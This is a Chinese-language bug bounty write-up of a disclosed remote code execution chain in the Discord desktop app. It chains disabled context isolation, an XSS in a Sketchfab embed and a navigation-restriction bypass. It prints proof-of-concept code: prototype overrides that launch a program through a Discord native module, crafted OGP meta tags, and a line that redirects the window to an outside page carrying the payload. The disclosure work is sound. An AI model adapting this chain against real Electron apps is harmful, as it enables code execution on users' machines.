Discord桌面应用RCE漏洞
几个月之前,我挖掘出了Discord的一个RCE漏洞,并向他们的src报告了这个漏洞。
这次我找到的RCE漏洞比较有趣,因为这个漏洞是通过组合多个漏洞实现的。在本文中,我会分享该漏洞的挖掘细节。
注:Discord是一款专为社区设计的免费网络实时通话软件与数字发行平台,主要面向游戏玩家、教育人士及商业人士,用户之间可以在软体的聊天频道通过信息、图片、视频和音频进行互动。
为什么我选择Discord作为我的目标
一直以来,我对寻找基于Electron框架开发的应用程序(以下简称为Electron应用)的漏洞非常感兴趣。因此我会寻找有漏洞挖掘奖励计划的Electron应用作为我的目标,而这次我找到了Discord。另外,我也是Discord的用户,我也想检查一下这个应用程序是不是安全的。
注:Electron(原名为Atom Shell)是GitHub开发的一个开源软件框架。它允许使用Node.js(作为后端)和Chromium(作为前端)完成桌面GUI应用程序的开发
我找到的漏洞
我这次一个发现了三个漏洞,并将他们组合在一起达成了一个RCE漏洞
- contextisolation默认关闭缺陷
- iframe embeds中的XSS漏洞
- 功能禁用限制的绕过(CVE-2020-15174)
我将会一一解释这三个漏洞。
漏洞一:contextisolation默认关闭缺陷
当我对Electron应用进行测试时,我总会在第一时间检查BrowserWindow API的选项值,这个API用于创建和控制浏览器窗口。通过检查它的选项值,我可以判断在我拥有renderer上任意JS代码执行能力的情况下,能不能达成RCE利用条件。
Discord的Electron应用并不是开源项目,但是Electron的JS代码会以asar格式保存在本地,因此我可以提取并阅读它。
在主窗口中,它的选项值如下所示
const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};
值得关注的值是nodeIntegration和contextIsolation。从上面的代码看来,我们可以发现nodeIntegration选项的值为false,以及contextIsolation的值也被设置为false(默认值)。
如果nodeIntegration被设置为true,一个web页面的js可以通过调用require()轻松使用Node.js的特性。举个例子,通过下面的代码来弹出windows计算器
<script>
require('child_process').exec('calc');
</script>
我们的目标启用了nodeIntegration,因此我们不能直接调用require()来使用Node.js的特性。
不过,我们仍然可以通过其他方法来使用Node.js的特性。显然,contextIsolation是一个关键的选项,它被设置为false。实际上,如果你想要消除你的app出现RCE漏洞的可能性,你就不应该设置该值为false。
在contextIsolation值设置为false的时候,一个普通web页面上的js代码可以通过preload的方式(预加载)影响到Electron内部renderer上的js代码执行。举个例子,如果你在一个web页面的js代码中重写了Array.prototype.join
,这是一个js内置函数。当不在这个web页面内的js代码需要调用join
时,实际上调用的时被重写后的函数。
这种特性是比较危险的,因为使得Electron可以通过重写函数的方法,在忽略nodeIntegration的情况下允许外部的js代码应用Node.js的特性。这使得RCE有可能在nodeIntegration被设置为false的情况下实现利用。
contextIsolation引入了上下文分离的特性,web页面的js代码和页面外的js代码之间是相互隔离的,代码执行效果不会互相影响。这个特性能够有效降低出现RCE漏洞的可能性,但这一次的Discor上被禁用了。
因为我发现contextIsolation被禁用了,因此我开始寻找一个可以通过影响web页面外的js来执行任意代码的地方。
通常,我在尝试编写Electron应用RCE的POC时,我首先会尝试使用Electron在renderer上的内部js代码来实现RCE。因为Electron在renderer内部的js代码可以在任意Electron应用上执行。
因此我只需要简单的重用一下之前编写过的RCE即可。
然而,在当前版本的Electron中,或者说在当前配置下,之前的POC没有办法成功运行。因此,这次我决定换一个地方来preload我们的攻击脚本。
我在尝试proload脚本时,我发现Discord暴露一个关键的函数,DiscordNative.nativeModules.requireModule('MODULE-NAME')
,这个函数使得我们引入模块到web页面中。
在这里,我不能直接引入能够直接触发RCE的模块,比如child_process
模块,但我发现通过重载js内置模块可以影响到引入模块的运行,从而达成RCE。
下面是PoC。getGPUDriverVersion
函数在devTools中的模块discord_utils
被定义,当PoC调用getGPUDriverVersions
时,我们发现windows计算器成功被弹出。显然,我们通过RegExp.prototype
和Array.prototype.join
成功重载函数。
RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
getGPUDriverVersions
函数尝试使用execa
库运行某个程序时,如下所示
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}
const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}
return result;
};
从上面的代码看来,通常execa
尝试运行应用程序”nvidia-smi.exe”,也就是nvidiaSmipath
的值。但是,通过我们上面所说的重载RegExp.prototype.test
和Array.prototype.join
,将nvidiaSmiPath
替换成calc
,最终成功弹出计算器。
漏洞二:iframe embeds中的XSS漏洞
如上所述,我发现任意的JS代码执行都可能发生RCE,因此我试图找到一个XSS漏洞。在信息收集阶段,我发现该应用程序支持自动链接或Markdown特性。所以我把注意力转向iframe嵌入功能。例如,当YouTube URL被发布时,iframe嵌入的特性会自动在聊天中显示视频播放器。
但是,Discord会对你放入的URL进行校验,获取URL的OGP信息,只有当OGP信息符合要求时,Discord才会展示相关内容。
简单来说,这里的检验属于白名单校验,我们来观察以下能够通过检查的URL
Content-Security-Policy: [...] ; frame-src https://*.youtube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com
显然,其中一些列表允许iframe嵌入(如YouTube, Twitch, Spotify)。我尝试通过在OGP信息中一个一个地指定域来检查URL是否可以嵌入到iframe中,并尝试在嵌入的域中找到XSS。经过一些尝试,我发现了sketchfab.com,它是CSP中列出的一个域,可以嵌入到iframe中,我在嵌入页面上找到XSS。我当时还不了解Sketchfab网站,它看起来是一个用户可以发布、购买和销售3D模型的平台。
下面是PoC,它具有精心设计的OGP。当我将这个URL发布到聊天框时,Sketchfab被嵌入到聊天中的iframe中,在iframe上单击几次后,就会执行任意的JS代码
<head>
<meta charset="utf-8">
<meta property="og:title" content="RCE DEMO">
[...]
<meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed">
<meta property="og:video:type" content="text/html">
<meta property="og:video:width" content="1280">
<meta property="og:video:height" content="720">
</head>
最后我又找到了一个XSS,但是JavaScript仍然在iframe上执行。由于Electron不会将“web页面外部的JavaScript代码”加载到iframe中,因此即使我覆盖了iframe上的JavaScript内置方法,我也不能影响Node.js的关键部分。要实现RCE,我们需要跳出iframe,在顶层上下文中执行JavaScript。这需要从iframe打开一个新窗口,或者从iframe导航顶部窗口到另一个URL。
我查看了相关代码,发现主进程代码中使用“new-window”和“will- navigation”事件限制导航的代码:
mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {
e.preventDefault();
if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {
popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);
} else {
_electron.shell.openExternal(windowURL);
}
});
[...]
mainWindow.webContents.on('will-navigate', (evt, url) => {
if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {
evt.preventDefault();
}
});
我本来以为这段代码把我寻找RCE的路封死了,它看起来毫无破绽,但是在测试的过程中我发现了有意思的东西。
漏洞三:功能禁用限制的绕过(CVE-2020-15174)
我认为代码写的没什么问题,但在我检查顶部导航在iframe中是否会被阻塞时,我却惊奇地发现,因为某些原因,导航并没有被阻塞。从代码来看,在导航发生之前,”will-navigation”事件应该会尝试捕获它,并被preventDefault()
拒绝,但实际上没有。
我创建了一个小型Electron应用程序用来测试这个发现。我发现,由于某种原因,”will- navigation”事件没有从iframe开始的顶部导航中发出。确切地说,如果top的域和iframe的域在同一个域,事件就会被发出,但是如果它在不同的域,事件就不会被发出。我认为这应该是Electron的bug,并决定稍后向Electron报告。
在这个bug的帮助下,我最终成功绕过导航限制。我最后需要做的就是使用iframe的XSS漏洞导航到一个含有RCE代码的页面即可,比如说top.location=”//l0.cm/discord_calc.html”
最终,结合三个漏洞,我成功实现了RCE,下面是视频演示。
总结
我向Discord的src报告了漏洞。最终RCE漏洞获得5000美元的奖励,Sketchfab的XSS漏洞获得了300美元奖励。第三个漏洞”will-navigate”事件不能正常发出获得了一个CVE编号(CVE-2020-15174)。
参考
https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en